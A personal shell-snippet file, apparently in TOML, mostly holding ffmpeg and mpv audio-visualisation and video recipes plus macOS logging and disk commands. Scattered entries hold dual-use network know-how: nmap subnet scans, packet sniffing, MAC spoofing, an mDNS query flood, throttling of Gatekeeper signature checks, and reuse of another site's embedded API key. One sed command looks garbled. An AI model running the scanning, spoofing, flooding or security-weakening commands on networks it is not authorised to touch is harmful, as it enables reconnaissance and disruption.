command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | ffplay - -framedrop -infbuf -fflags nobuffer -flags low_delay -sync audio -analyzeduration 0"
output = ""
[[snippets]]
description = "NOW WITH COOLER VISUALIZATIONS! nearly zero latency real time generic system audio visualization. The key to using good filters in ffplay from a pipe is \"-f lavgi\" and the super obscure \"amovie=pipe\\\\:0, ...\" input"
command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | ffplay -f lavfi 'amovie=pipe\\\\:0, asplit [a][out1]; [a] ahistogram [out0]' -framedrop -infbuf -fflags nobuffer -flags low_delay -sync audio -analyzeduration 0 -an"
output = ""
[[snippets]]
description = "pretty good real time system audio streaming to mpv, but still ~0.2s of latency. But if the content is audio only have mpv also play the audio itself making the visuals perfectly in sync! Not exactly great if the audio needs to be synced from another video sadly"
command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | mpv --no-resume-playback --vd-lavc-threads=1 --cache-pause=no --demuxer-lavf-o-add=fflags=+nobuffer --demuxer-lavf-probe-info=nostreams --demuxer-lavf-analyzeduration=0.1 --video-sync=audio --interpolation=no --video-latency-hacks=yes --stream-buffer-size=4k --aid=0 --audio-buffer=0.05 --cache=no --audio-device='coreaudio/f0-5c-d5-ad-d6-e9:output' -"
output = ""
[[snippets]]
description = "my FAVORITE live audio visualization so far. Removed the showwaves. They're silyl"
command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | ffplay -framedrop -infbuf -fflags nobuffer -flags low_delay -sync audio -analyzeduration 0 -an -alwaysontop -noborder -left 0 -top 600 -x 570 -f lavfi \"amovie=pipe\\\\\\:0, showcqt=s=1920x1536:axis=1:axis_h=-1:bar_h=200:fps=30:count=6:bar_g=1:sono_g=3:basefreq=40:endfreq=16495[out0]\""
output = ""
[[snippets]]
description = "sliding spectrum"
command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | ffplay -framedrop -infbuf -fflags nobuffer -flags low_delay -sync audio -analyzeduration 0 -an -alwaysontop -noborder -left 0 -top 600 -x 570 -f lavfi \"amovie=pipe\\\\\\:0, asplit [a][out1];[a] showspectrum=mode=combined:color=fire:slide=1:scale=cbrt [out0]\""
output = ""
[[snippets]]
description = "live loopback audio visualization of showcqt and showfreqs with an overlay"
command = "ffmpeg -re -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | ffplay -f lavfi 'amovie=pipe\\\\:0, asplit [a][b]; [a]showcqt=s=1920x1080:axis=0[vcqt];[b]showfreqs=s=1920x420:mode=line[vs];[vcqt][vs]overlay=x=W-w-50:y=50[out0]' -framedrop -infbuf -fflags nobuffer -flags low_delay -sync audio -analyzeduration 0 -an -alwaysontop -noborder -top 600 -x 570"
output = ""
[[snippets]]
description = "yet another live audio visualizer. More random flags passed to possibly improve latency. Audio is split so that if can be outputted if `-an` is removed, however that increases latency so only use if the source audio is muted. in summary, leave as is if the source if video, or mute the source and remove `-an`if the source is Spotify/Youtube Music/any audio."
command = "ffmpeg -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -probesize 32 -muxdelay 0.001 -fflags nobuffer -f wav -c copy - | ffplay -framedrop -noinfbuf -fflags discardcorrupt -probesize 32 -strict experimental -avioflags direct -fflags nobuffer -flags low_delay -sync ext -analyzeduration 0 -alwaysontop -noborder -left 0 -top 90 -x 585 -an -f lavfi \"amovie=pipe\\\\\\:0, asplit [a][out1]; [a]volume=3[aup], [aup]showcqt=s=1280x2532:axis=1:axis_h=-1:bar_h=200:fps=30:count=4:bar_g=1:sono_g=3:basefreq=40:endfreq=16495[out0]\""
output = ""
[[snippets]]
description = "list macOS audio input/output devices. Need to know the index of the virtual microphone to use with audio visualizations"
command = "ffmpeg -f avfoundation -list_devices true -i \"\""
output = ""
[[snippets]]
description = "every cool ffmpeg filter all at once"
command = "mpv --lavfi-complex=\"[aid1]asplit=7[a][b][c][d][e][f][g];[a]avectorscope=size=480x480:zoom=2:draw=line:r=25,drawgrid=240:240:color=gray[z];[b]ebur128=video=1:meter=18[q][x];[q]scale=480:480[y];[z][y]hstack[w];[c]showfreqs=fscale=lin:cmode=separate:size=480x480:minamp=1e-009,drawgrid=x=0:y=479:w=100:h=60:color=gray[u];[d]showspectrum=size=480x480:overlap=1:slide=scroll:scale=5thrt:mode=combined[t];[t][u]hstack[v];[e]showvolume=r=25:w=960:h=50:t=0:f=0.9,drawtext=font=Arial:fontsize=24:text='1':x=47:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='2':x=77:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='3':x=128:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='4':x=206:y=40:fontcolor=cyan,drawtext=font=Arial:fontsize=24:text='5':x=330:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='6':x=528:y=40:fontcolor=red,drawtext=font=Arial:fontsize=24:text='7':x=842:y=40:fontcolor=pink[s];[f]showcqt=size=960x180:r=25:bar_g=7:timeclamp=0.5[r];[g]aphasemeter=size=960x40:mpc=red[h][p];[h]anullsink;[v][w][r][p][s]vstack=inputs=5[vo];[x]anull[ao]\" /tmp/Ariana\\ Grande\\ -\\ 7\\ rings\\ \\(Official\\ Video\\)-QYh6mYIJG2Y.webm"
output = ""
[[snippets]]
description = "every crazy audio visual outputted to mpv. Bad latency. Though if playing audio only change the last anullsink to an [x]anull[ao], like the above command, and have mpv be the audio source. Also should find a better way to reduce fps than just dropping frames. Seems to do 130fps for some reason without my tweaks"
command = "ffmpeg -f avfoundation -i \":3\" -flush_packets 1 -fflags nobuffer -flags low_delay -analyzeduration 0 -muxdelay 0.01 -fflags nobuffer -f wav -c copy - | mpv --profile=baseline --override-display-fps=30 --lavfi-complex=\"[aid1]asplit=7[a][b][c][d][e][f][g];[a]avectorscope=size=480x480:zoom=2:draw=line:r=25,drawgrid=240:240:color=gray[z];[b]ebur128=video=1:meter=18[q][x];[q]scale=480:480[y];[z][y]hstack[w];[c]showfreqs=fscale=lin:cmode=separate:size=480x480:minamp=1e-009,drawgrid=x=0:y=479:w=100:h=60:color=gray[u];[d]showspectrum=size=480x480:overlap=1:slide=scroll:scale=5thrt:mode=combined:fps=25[t];[t][u]hstack[v];[e]showvolume=r=25:w=960:h=50:t=0:f=0.9,drawtext=font=Arial:fontsize=24:text='1':x=47:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='2':x=77:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='3':x=128:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='4':x=206:y=40:fontcolor=cyan,drawtext=font=Arial:fontsize=24:text='5':x=330:y=40:fontcolor=white,drawtext=font=Arial:fontsize=24:text='6':x=528:y=40:fontcolor=red,drawtext=font=Arial:fontsize=24:text='7':x=842:y=40:fontcolor=pink[s];[f]showcqt=size=960x180:r=25:bar_g=7:timeclamp=0.5[r];[g]aphasemeter=size=960x40:mpc=red[h][p];[h]anullsink;[v][w][r][p][s]vstack=inputs=5[votmp];[votmp]fps=25[vo];[x]anullsink\" --no-audio --ontop=yes --ontop-level=system --no-resume-playback --cache-pause=no --profile=low-latency,baseline --cache=no --no-border -"
output = ""
[[snippets]]
description = "another running log of macOS gatekeeper/cloudkit signature logs and requests"
command = "sudo log stream --debug --info --predicate \"(processImagePath contains 'syspolicyd' OR processImagePath Contains[c] 'taskgated') and (eventMessage Contains[c] 'cloudkit' OR eventMessage Contains[c] '/usr' OR eventMessage Contains[c] 'python' OR eventMessage contains 'GK ') \" | tee -a /tmp/syspolicy.log"
output = ""
[[snippets]]
description = "use pf rules to slow down apple's gatekeeper signature checks. Amazingly this will save CPU since syspolicyd will hit 100% on a core while it's background scanning every binary/python file/shellscript on my system."
command = "while true; do (cat /etc/pf.conf && echo \"dummynet-anchor \\\"customRule\\\"\" && echo \"anchor \\\"customRule\\\"\") | sudo pfctl -f - ; echo \"dummynet in proto tcp from api.apple-cloudkit.com pipe 1\" | sudo pfctl -a customRule -f - ; sudo dnctl pipe 1 config delay 1000; sudo pfctl -E; sleep 90; done"
output = ""
[[snippets]]
description = "take the audio from a video thats been 2stemmed, then make a version of the original video where stereo channel 1 is the background and channel 2 is vocals. When playing you will need to mix the channels to listen properly. By changing the balance you change the vocal/background emphasis!!!!"
command = "ffmpeg -i accompaniment.mp3 -i vocals.mp3 -i ../original_media.mkv -filter_complex \"[0:a][1:a]amerge=inputs=2,pan=stereo|c0<c0+c1|c1<c2+c3[a]\" -map 2:v:0 -map \"[a]\" -map 2:s:0 -c:v copy -c:a libopus media_with_stemmed_audio.mkv"
output = ""
[[snippets]]
description = "side by side video and spectrum of its audio https://video.stackexchange.com/questions/23222/ffplay-is-there-a-way-to-display-a-video-and-spectrogram-in-the-same-output"
command = "ffplay -f lavfi 'amovie=sweet-video.mkv:s=dv+da[v][a];[a]asplit[asp][out1];[asp]showspectrum=size=660x427:mode=separate:slide=scroll[spect]; [v]scale=640:-1[v];[v][spect]hstack[out0]'"
output = ""
[[snippets]]
description = "tcpdump HTTP traffic (not encrypted) directly from tcpdump"
command = "tcpdump -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' ### https://stackoverflow.com/questions/4777042/can-i-use-tcpdump-to-get-http-requests-response-header-and-response-body"
output = ""
[[snippets]]
description = "pipe tcpdump over ssh, looking for clients using the wrong DNS server. Analyze locally with tshark"
command = "ssh admin@192.168.1.1 '/usr/bin/sudo tcpdump -s0 -i eth1 -l \"port 53 and inbound and not dst BAD_DNS_SETTINGS\" -w - ' | tshark -i -"
output = ""
[[snippets]]
description = "list all things on path. Just POSIX (works on UBNT APs...). https://unix.stackexchange.com/questions/120786/list-all-binaries-from-path"
command = "{ IFS=:; ls -AH $PATH; } | sort | less"
output = ""
[[snippets]]
description = "record webcam and microphone with ffmpeg. Real world timestamp overlaid. Tuned for very low cpu usage and moderate file size/quality good for making a day-line recording of yourself. (12 hours = 10GB). hevc_videotoolbox is the key to making it very low cpu. If you drop the microphone recording the CPU goes down by 50%... it's is a bit dumb though, so the bitrate is still rather high. 0.6M instead of 1.2MBits would make it roughly half as big and okay quality (except when there's motion/light changes)."
command = "ffmpeg -f avfoundation -framerate 15 -s \"800x600\" -i \"0:3\" -vf \"settb=AVTB,setpts='trunc(PTS/1K)*1K+st(1,trunc(RTCTIME/1K))-1K*trunc(ld(1)/1K)',drawtext=text='%{localtime}.%{eif\\:1M*t-1K*trunc(t*1K)\\:d}'\" -c:v hevc_videotoolbox -realtime 1 -c:a libopus -compression_level 0 -application lowdelay -ac 1 -b:a 32k -b:v 1.2M -tune zerolatency -preset ultrafast -threads 1 -y /tmp/webcam.mkv"
output = ""
[[snippets]]
description = "record screen capture, webcam, and loopback audio into one file. Needs lots of tweaking. Probably use the hardware encoders"
command = "ffmpeg -f avfoundation -i \"2:3\" -f avfoundation -framerate 24 -s \"1280x720\" -i \"0\" -filter_complex \"[0:v]scale=1280:-1[scd];[scd][1:v]vstack\" ~/Downloads/media/live2.mkv"
output = ""
[[snippets]]
description = "query for every type of service advertised over mDNS!!"
command = "dns-sd -Q _services._dns-sd._udp.local PTR"
output = ""
[[snippets]]
description = "network mDNS service discovery scan"
command = "sudo nmap --script=broadcast-dns-service-discovery"
output = ""
[[snippets]]
description = "more targetted nmap netbios/mdns scan"
command = "sudo nmap -sU -p 137,5353 --script nbstat,dns-service-discovery \"192.168.1.1-255\""
output = ""
[[snippets]]
description = "make a video fancy"
command = "ffmpeg -ss 00:17:00 -i IN.mkv -filter_complex '[0:v]split[a][b];[a]scale=1.5*in_w:1.5*in_h,transpose=1,format=gbrp,waveform=filter='lowpass':mirror=0:components=7:display=overlay:intensity=0.02:scale=digital[d];[b]scale=1.5*in_w:1.5*in_h,transpose=1,pad=iw:ih+240[padded];[d]crop=in_w:in_h-16:0:16[wave];[padded][wave]overlay=0:H-h,transpose=2[out0]' -map \"[out0]\" -map \"0:a\" -map \"0:s\" -threads 2 -c:a copy -c:s copy -c:v h264 -x264-params keyint=24 -crf 21 -movflags +faststar -minrate 5M -profile:v high -tune film -preset superfast OUT.mkv"
output = ""
[[snippets]]
description = "query for every time of mDNS thing. (first ask for all services, then query each service type)"
command = "for s in $(cat <(timeout --signal=SIGINT 2s dns-sd -Q _services._dns-sd._udp.local PTR 2>&1) | gsed -E \"s/ +/ /g\" | cut -d ' ' -f 9); do timeout --signal=SIGINT 3s dns-sd -Q $s PTR; done"
output = ""
[[snippets]]
description = "manually make an mDNS query using dig. Dig exits on the first response though sadly"
command = "dig @224.0.0.251 -p 5353 -t ptr +short _printer._tcp.local"
output = ""
[[snippets]]
description = "get screen resolution on the CLI with applescrit. $3 for width, $4 height."
command = "SCREENW=$(osascript -e 'tell application \"Finder\" to get bounds of window of desktop' | sed -E \"s/ +//g\" | awk -F \",\" '{print $3}')"
output = ""
[[snippets]]
description = "monitor all process executions live! Using the amazing Objective-See processmonitor"
command = "sudo unbuffer /Applications/monitoring/ProcessMonitor.app/Contents/MacOS/ProcessMonitor -skipApple | grep --line-buffered -v Google"
output = ""
[[snippets]]
description = "monitor all file activity live! similarly, using FileMontior from obj-see. The built in fs_usage does mostly the same things, and more, and it's a better more readable in terminal, it also has a lot of quirks, like seemingly there's no way prevent truncation on long file paths. Also the event types it decribes are a bit raw and obtuse. FileMonitor using the same mac APIs that enterprise \"DLP\" or \"MDM\" solution use, so it is a bit more clear and usable"
command = "sudo /Applications/monitoring/FileMonitor.app/Contents/MacOS/FileMonitor -skipApple | grep -v Google"
output = ""
[[snippets]]
description = "spoof mac address. This mac is one for a MBP-16 2019"
command = "sudo ifconfig en14 ether f8:ff:c2:2c:a6:a2"
output = ""
[[snippets]]
description = "capture dns queries when under a weird set of constraints and a simple 'udp and port 53' libpcap capture filter doesnt work. Don't know why. Relies on display filter -Y to do most of the filtering. Then formats the tshark output for some easy viewing"
command = "sudo tshark -i en14 -s0 -l -f \"not port 443 and not src 192.168.1.1 and not src 8.8.8.8 and not tcp\" -Y \"dns and dns.flags.response == 0\" 2> /dev/null | awk '{print $5,\" ---> \", $14}'"
output = ""
[[snippets]]
description = "another tshark dns monitor with nice formatting"
command = "sudo tshark -i en14 -s0 -l -f \"not port 443 and not src 192.168.1.255 and not src 8.8.8.255 and not tcp\" -Y \"dns\" 2> /dev/null | tee -a /tmp/dns_log.txt | grep --line-buffered -v \"query response\" | awk -v OFS=' ' '{ print $1,$5,\"[\"$3\"]\",\"-->\",$14}'"
output = ""
[[snippets]]
description = "ping/tcp/udp packet util that operates through STDIN/STDOUT. Useful if you want more power than just piping programs together, but don't want to actually write the code. Seems like a bit of a niche. See `man mtr-packet` for more info"
command = "echo 42 send-probe ip-4 192.168.1.1 | sudo mtr-packet"
output = ""
[[snippets]]
description = "convert h264 mkv with subs to QuickTime compatible mp4. Only trick is to specify mov_text as the subtitle encoding since subrip isn't supported and ffmpeg doesn't automatically pick a suitable codec for conversion. (IMHO, it should)"
command = "ffmpeg -i in.mkv -c copy -c:s mov_text out.mp4"
output = ""
[[snippets]]
description = "analyzing mdns tcpdump text logs. This implementation is a bit dubious, but it takes the tcpdump text log (not pcap log) and tally the number of mDNS service classes"
command = "cat mdns.log | sed -E 's/([^ \\.]+\\._(tcp|udp)\\.local\\.)/\\'$'\\n''______\\1______\\'$'\\n''/g' | grep \"______\" | sort | uniq -c | sort -n"
output = ""
[[snippets]]
description = "open slack with chrome dev tools debugger. Browse to http://localhost:8315/ to debug. Works on any electron app, amazingly! also check out https://github.com/bytedance/debugtron"
command = "/Applications/Slack.app/Contents/MacOS/Slack --args --remote-debugging-port=8315 '--remote-allow-origins=*'"
output = ""
[[snippets]]
description = "run ping latency/connectivity logger on Unifi gateway over ssh, but pipe and log the data locally. Auto reconnect the ssh connection. Requires authorized ssh keys obvious..."
command = "while true; do ssh root@192.168.1.1 \"while true; do echo \\\"\\$(printf '%-10s' \\$(ping -q -w 20 1.1.1.1 2> /dev/null | tail -2 | sed ':a;N;$bash /Users/chris/Dropbox/.bin/audiovis.sh;s/\\n/\\t/g' | sed -E 's/ packets? \\w+,?//g' | sed 's/round\\-trip min\\/avg\\/max\\/stddev =//' | sed 's/ ms//' | tr '/' '\\t' | column -t )) time: \\$(date '+%m/%d-%H:%M:%S')\\\"; sleep 10; done\"; echo \"disconnecting! sleeping before reconnecting\"; sleep 10; done | tee -a /tmp/connectivity_log.txt"
output = ""
[[snippets]]
description = "print nice colums while tailing dnscrypt-proxy logs"
command = "tail -f -30 dns.log | awk '{printf \"%-14s %-40s %-7s %-9s %-7s\\n\",$3,$4,$5,$6,$7}'"
output = ""
[[snippets]]
description = "get public IP address uses apple's service"
command = "curl https://serverstatus.apple.com/services/internetaccess/v1/my_external_ip"
output = ""
[[snippets]]
description = "process system log to count how often a executable signature is surreptiously looked up on Apple's servers. Sadly this level of detail seems to be pruned quickly"
command = "sudo log stats --process syspolicyd --predicate 'message contains \"cloudkit record fetch\"'"
output = ""
[[snippets]]
description = "rotten tomatoes search API. Weirdly this is totally open with no auth. Undocumented, probably left on for legacy clients. Sshhhhh, don't tell RT, they seem to have a very closed API these days."
command = "curl \"https://www.rottentomatoes.com/api/private/v2.0/search?q=Star%20Trek%20Voyager\" | jq"
output = ""
[[snippets]]
description = "generate a pleasant whitenoise using SoX (https://askubuntu.com/a/789472 )"
command = "play -n synth brownnoise synth pinknoise mix synth sine amod 0.3 10"
output = ""
[[snippets]]
description = "generate random pulses of noises...this is that an ffplay instance with a silenceremove filter in front of it can exit. (Seems like an ffplay bug to me)"
command = "play -n synth 30.1 brownnoise mix synth square amod 1 0 5 1 gain -30"
output = ""
[[snippets]]
description = "mdns: from tcpdump text log count the top 20 spammers"
command = "cat /tmp/mdns.log | grep -v \"Discovery._companion-link\\| IP6 \" | cut -d \" \" -f 3 | sort | uniq -c | sort -nr | head -20"
output = ""
[[snippets]]
description = "list directory sorted by DATE ADDED! This is usually what I want. For example, if I wget a file the modified time is set to the server's modified time so it might not be what I'm looking for. This relies on macOS Spotlight indexing so doesn't work on everything. In zsh use *(^@) instead of * to have the glob exclude symlinks (which lack this metadata). https://apple.stackexchange.com/questions/372346/list-files-by-date-added-in-terminal-with-function-or-script-or-another"
command = "mdls -name kMDItemFSName -name kMDItemDateAdded -raw * .* | xargs -0 -I {} echo {} | sed 'N;s/\\n/ /' | sort"
output = ""
[[snippets]]
description = "macos: print a binary plist in xml format! The more standard way to see a binary plist in human format is `plutil -p ...` but that prints out the plist in some weird ruby-like format. That's usally fine but if you want to search for something or see a plist the way you edit it, this is better."
command = "plutil -convert xml1 com.google.Chrome.plist -o -"
output = ""
[[snippets]]
description = "echo | openssl s_client -showcerts -servername gnupg.org -connect ec2-54-69-218-94.us-west-2.compute.amazonaws.com:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep \"Subject:\\|DNS:\""
command = "echo | openssl s_client -showcerts -servername gnupg.org -connect ec2-54-69-218-94.us-west-2.compute.amazonaws.com:443 2>/dev/null | openssl x509 -inform pem -noout -text | grep \"Subject:\\|DNS:\""
output = ""
[[snippets]]
description = "abwhich: this function implements `abwhich`. This is just like `which` command, but returns the absolute path! this function relies on gnu coreutils greadlink util for the -f option, though I'm sure there's some what to remove that dependency"
command = "function abwhich() { greadlink -f $(which \"$1\") }"
output = ""
[[snippets]]
description = "use clearbit to look up all the corporate information about your current API. This just uses the dynamic JS file that's included on https://clearbit.com/reveal . (whats up mr. McCaw! Love your holiday parties. Thanks for making this semi-available)"
command = "curl 'https://x.clearbitjs.com/v1/pk_1922c480ae3402f6ac3ee173ad325d8c/clearbit.js' -H 'authority: x.clearbitjs.com' -H 'pragma: no-cache' -H 'cache-control: no-cache' -H 'sec-ch-ua-mobile: ?0' -H 'user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36' -H 'accept: */*' -H 'sec-fetch-site: cross-site' -H 'sec-fetch-mode: no-cors' -H 'sec-fetch-dest: script' -H 'referer: https://clearbit.com/reveal' -H 'accept-language: en-US,en;q=0.9' --compressed | grep -A200 'var response' | sed '/};/q' | sed 's/var response =//' | sed 's/;//' | jq"
output = "{ \"ip\": \"73.71.136.21\", \"domain\": \"airtable.com\", \"fuzzy\": true, \"type\": \"company\", \"geoIP\": { \"city\": \"Dublin\", \"state\": \"California\", \"stateCode\": \"CA\", \"country\": \"United States\", \"countryCode\": \"US\" }, \"company\": { \"id\": \"8e5a15c8-6cfc-4c07-9b36-a2fa57ed49eb\", \"geo\": { \"lat\": 37.75696, \"lng\": -122.42557, \"city\": \"San Francisco\", \"state\": \"California\", \"country\": \"United States\", \"stateCode\": \"CA\", \"postalCode\": \"94110\", \"streetName\": \"Dolores St\", \"subPremise\": null, \"countryCode\": \"US\", \"streetNumber\": \"769\" }, \"logo\": \"https://logo.clearbit.com/airtable.com\", \"name\": \"Airtable\", \"site\": { \"phoneNumbers\": [ \"+1 800-952-5210\", \"+1 916-445-1254\" ], \"emailAddresses\": [ \"privacy@airtable.com\", \"support@airtable.com\", \"copyright@airtable.com\", \"legal@airtable.com\" ] }, \"tags\": [ \"Information Technology & Services\", \"Technology\", \"SAAS\", \"B2C\" ], \"tech\": [ \"google_apps\", \"aws_route_53\", \"optimizely\", \"zendesk\", \"google_analytics\", \"ios\", \"segment\", \"salesforce\", \"amplitude\", \"facebook_advertiser\", \"conversio\", \"rollbar\", \"rubicon_project\", \"appnexus\", \"teradata\", \"openx\", \"iponweb_bidswitch\", \"windows_server\", \"pubmatic\", \"apache_hadoop\", \"postgresql\", \"aws_iam\", \"mysql\", \"dropbox\" ], \"type\": \"private\", \"phone\": null, \"domain\": \"airtable.com\", \"parent\": { \"domain\": null }, \"ticker\": null, \"metrics\": { \"raised\": 355600000, \"employees\": 270, \"marketCap\": null, \"alexaUsRank\": 1517, \"annualRevenue\": null, \"employeesRange\": \"251-1K\", \"fiscalYearEnd\": null, \"alexaGlobalRank\": 4177, \"estimatedAnnualRevenue\": \"$10M-$50M\" }, \"profane\": false, \"twitter\": { \"id\": \"2786252385\", \"bio\": \"Create, your way. Follow @airtablestatus for service status updates, @airtabledev for API and platform news, and visit https://t.co/hv2dEZwFSt for help.\", \"site\": \"https://t.co/IQvMkr4Psw\", \"avatar\": \"https://pbs.twimg.com/profile_images/913790926950096896/xt2OyAdt_normal.jpg\", \"handle\": \"airtable\", \"location\": \"San Francisco, CA\", \"followers\": 32493, \"following\": 718 }, \"category\": { \"sector\": \"Information Technology\", \"industry\": \"Internet Software & Services\", \"sicCode\": \"48\", \"naicsCode\": \"51\", \"subIndustry\": \"Internet Software & Services\", \"industryGroup\": \"Software & Services\" }, \"facebook\": { \"likes\": 7477, \"handle\": \"airtableapp\" }, \"internal\": { \"confidenceScore\": 79 }, \"linkedin\": { \"handle\": \"company/airtable\" }, \"location\": \"769 Dolores St, San Francisco, CA 94110-2224, US\", \"canonical\": true, \"timeZone\": \"America/Los_Angeles\", \"crunchbase\": { \"handle\": \"organization/airtable\" }, \"indexedAt\": \"2020-11-04 18:41:54 UTC\", \"legalName\": null, \"utcOffset\": -8, \"description\": \"Airtable is a low-code platform for building collaborative apps. Customize your workflow, collaborate, and achieve ambitious outcomes. Get started for free.\", \"identifiers\": { \"usEin\": null }, \"foundedYear\": 2013, \"domainAliases\": [ \"airtable.co\", \"paulksalvaggio.com\", \"peteberk.com\", \"psychedelic.community\", \"airtable.help\", \"airtableblocks.com\" ], \"emailProvider\": false, \"techCategories\": [ \"productivity\", \"dns\", \"website_optimization\", \"customer_support\", \"analytics\", \"programming_framework\", \"customer_data_platform\", \"crm\", \"advertising\", \"marketing_automation\", \"monitoring\", \"web_servers\", \"data_processing\", \"database\", \"security\" ], \"ultimateParent\": { \"domain\": null } } }"
[[snippets]]
description = "unmount T7 SSD"
command = "sudo diskutil unmount disk4; sudo diskutil unmount disk3s4;"
output = ""
[[snippets]]
description = "mount T7 ssd"
command = "sudo diskutil mount disk4; sudo diskutil mount disk3s4;"
output = ""
[[snippets]]
description = "show all zsh key bindings. `zle -al` also useful to show registered zle commands. https://stackoverflow.com/questions/18042685/list-of-zsh-bindkey-commands"
command = "bindkey -M \"main\""
output = ""
[[snippets]]
description = "find process that made a dns query in the last 30 mins. Uses the macOS mDNSResponser logs. Requires private logging is enabled!"
command = "dnslog () { sudo log show --last 30m --info --predicate \"process == 'mDNSResponder' and message Contains[c] '$1'\" | grep --ignore-case --color PID | sed \"s/^.* DNSServiceGetAddrInfo//g\" }"
output = ""
[[snippets]]
description = "macos logger in json format + jq. Do this instead of that grep BS"
command = "sudo log show --last 5m --style json --info --predicate \"process == 'mDNSResponder'\" | jq '.[] | [.processImagePath, .eventMessage, .subsystem]'"
output = ""
[[snippets]]
description = "play two videos side by side in MPV! Syncs quite well. Great for comparing HD Star Trek vs. SD Star Trek. The fancy scale command is key for getting everything lined up and also preserving the aspect ratio. \"scale=-1:XXX\" weirldy wasn't working."
command = "mpv TNG-1080p.mkv --external-file=TNG-original-480p.mkv --lavfi-complex='[vid1]scale=(iw*sar)*max(1456/(iw*sar)\\,1072/ih):ih*max(1456/(iw*sar)\\,1072/ih), crop=1456:1072[v1];[vid2] scale=(iw*sar)*max(1456/(iw*sar)\\,1072/ih):ih*max(1456/(iw*sar)\\,1072/ih), crop=1456:1072[v2]; [v1][v2] hstack [vo]'"
output = ""
[[snippets]]
description = "count how many wifi networks I have saved on my mac. (1400...). Having too many of these seems to burn a lot of CPU since when you're not on a network macOS seems to probe for every SSID you ever connected to in the paste."
command = "plutil -convert xml1 /Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist -o - | grep \"<key>wifi.ssid.\" | wc -l"
output = ""
[[snippets]]
description = "play the SFPD police scanner live"
command = "ffplay https://broadcastify.cdnstream1.com/20601"
output = ""
[[snippets]]
description = "combine TNG 1080p and original SD for later swapping"
command = "ffmpeg -i s03e01-trimmed.mkv -i s03e01-HD.mkv -filter_complex '[0:v]fps=23.976[v0];[1:v] scale=1396:1072,fps=23.976[v1]; [v0][v1] hstack [vo]' -map '[vo]' -map 0:a out.mkv"
output = ""
[[snippets]]
description = "every 2 seconds swap HD and SD video generated with combine above"
command = "ffplay -i out.mkv -vf \"swaprect=1396:h:0:0:1424:0:enable='eq(mod(round(t/2)\\,2)\\,0)',crop=1396:1072:0:0\""
output = ""
[[snippets]]
description = "one shot tng HD vs SD swapping"
command = "ffmpeg -i s03e01-trimmed.mkv -i s03e01-HD.mkv -i \"subs.srt\" -filter_complex \"[0:v]fps=23.976[v0];[1:v] scale=1396:1072,fps=23.976[v1]; [v0][v1] hstack [vo]; [vo]swaprect=1396:h:10:0:1424:0:enable='eq(mod(round(t/5)\\,2)\\,0)',crop=1396:1072:10:0[vo]\" -map '[vo]' -ac 2 -map 0:a -map 2:s -c:a copy -c:v hevc_videotoolbox -b:v 3M -threads 2 out3-hevc.mkv"
output = ""
[[snippets]]
description = "use curl to fetch the response headers ONLY. Does not download data and does not make a HEAD request"
command = "curl -s -I -X GET https://someurl"
output = ""
[[snippets]]
description = "spam network with Chromecast/Google Home mDNS queries. These devices are very noisy, use a very naive and inefficient implementation of mDNS, and have zero built in rate limiting. Basically they're impolie with no sense of propriety! If you spam queries they're very happy to spam back answers none stop. Every device on the network will reply."
command = "for _ in {1..200}; do timeout --signal=KILL 0.5s dig @224.0.0.251 -p 5353 -t ptr +short _googlecast._tcp.local &; timeout --signal=KILL 0.5s dig @224.0.0.251 -p 5353 -t ptr +short _googlezone._tcp.local. &; sleep 0.1; done"
output = ""
[[snippets]]
description = "tcpdump log mDNS queries made by Chromecast/GHomes where they ask for other _goog* devices like themselves. Interestingly they all seem to query the network at the same time, and then they all respond, which results in a big spike in broadcast traffic. I would think this makes the network stress worse, but maybe it makes it better..? Seems very intentional that they sync up on time like this so it must be for some reason"
command = "sudo tcpdump -i en14 -l \"port 5353 and not src 192.168.1.20\" | grep --line-buffered _goog | grep --line-buffered \"(Q\" | grep --line-buffered \"IP googl\\|IP chrome\\|IP 192\""
output = ""
[[snippets]]
description = "star trek script analysis: find the episodes where Worf had the fewest lines and show what they were. Love TNG 4x15 where Worf appeared, but his only line was \"Aye, sir\"."
command = "for f in $(ag -ti \"worf:\" --count | sed \"s/txt:/txt /\" | sort -nr -k 2 -k 1 | tail -10 | cut -d ' ' -f 1); do echo \"\\n=== Next Gen Episode ${f:t:r} ===\"; cat \"$f\" | grep \"worf:\"; done"
output = ""
[[snippets]]
description = "extract average ping with ugly sed regex"
command = "ping -q -c 3 1.1.1.1 | tail -1 | sed -E \"s/.*dev = [0-9\\.]+\\/([0-9\\.]+)\\/.*/\\1/\""
output = ""
[[snippets]]
description = "unmount all mounts matching a set of volume names"
command = "for d in $(df | grep -E \"/(Conduit|Core3)\" | awk '{print $1}'); do diskutil unmount $d; done; ### or try this: diskutil eject /dev/$(df | grep /Conduit | awk '{print $1}' | cut -d '/' -f 3 | sed -E 's/s[0-9]+$//')"
output = ""
[[snippets]]
